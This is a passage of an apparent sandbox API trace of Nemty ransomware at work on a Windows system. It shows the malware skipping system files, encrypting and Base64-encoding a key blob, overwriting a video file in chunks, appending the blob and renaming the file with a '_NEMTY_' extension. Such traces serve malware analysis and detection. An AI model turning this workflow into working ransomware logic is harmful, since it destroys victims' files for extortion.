lpString2="AUTOEXEC.BAT") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="ntuser.dat") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="desktop.ini") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="CONFIG.SYS") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="RECYCLER") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="BOOTSECT.BAK") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="bootmgr") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="programdata") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="appdata") returned 1 [0058.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0058.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_matte.wmv", lpUsedDefaultChar=0x0) returned 22 [0058.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0058.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_matte.wmv", lpUsedDefaultChar=0x0) returned 22 [0058.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0058.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_matte.wmv", lpUsedDefaultChar=0x0) returned 22 [0058.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_matte.wmv", lpUsedDefaultChar=0x0) returned 22 [0058.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0058.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0058.395] Sleep (dwMilliseconds=0x5) [0058.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd67560b0, dwHighDateTime=0x1d561e7)) [0058.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd67560b0, dwHighDateTime=0x1d561e7)) [0058.404] GetLastError () returned 0x5 [0058.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.404] GetLastError () returned 0x5 [0058.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.404] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.404] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0058.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="LhRNRTfIf+WMXim/hhchhLfAPsQ2rsfoSsCJKfL9BmNvi9U6/f4zwolH6g0ia6m9\r\nvG0KITayOOtNka/nu0VWSSLNUHROODaqTHmW7GLH7PWK8h/cCtnutJvDENousAtu\r\nlfS3B45te/nMnh8B8QEmcwrSFZZEMivKHdtfoPLvqwW4KK6ehyj4C1K+Nm09EcMS\r\nShejbp0VoZUSmkZYS+NRh+ETnVVanNEsUX8e5oym4SZHfUNsquvj4ryeT8HEdo9B\r\nybnbChD0PyibXmy68DZp3lYBfp4idtzj6mUQ1+qSiwliiix7pvPklyBR9wLdo2Wq\r\nrEK106nQ13l3MkcSRL1BtA==\r\n", pcchString=0x653e91c) returned 1 [0058.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0058.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0058.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0058.405] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.405] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.509] CloseHandle (hObject=0xffffffff) returned 0 [0058.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0058.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0058.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0058.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.510] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv._nemty_kgobjgd_")) returned 0 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.510] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2=".") returned 1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="..") returned 1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="...") returned 1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="windows") returned -1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="rsa") returned -1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="ntldr") returned -1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0058.510] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="IO.SYS") returned -1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="boot.ini") returned 1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="boot.ini") returned 1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="ntuser.dat") returned -1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="desktop.ini") returned 1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="RECYCLER") returned -1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="bootmgr") returned 1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="programdata") returned -1 [0058.511] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="appdata") returned 1 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 26 [0058.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0058.511] RtlAllocateHeap 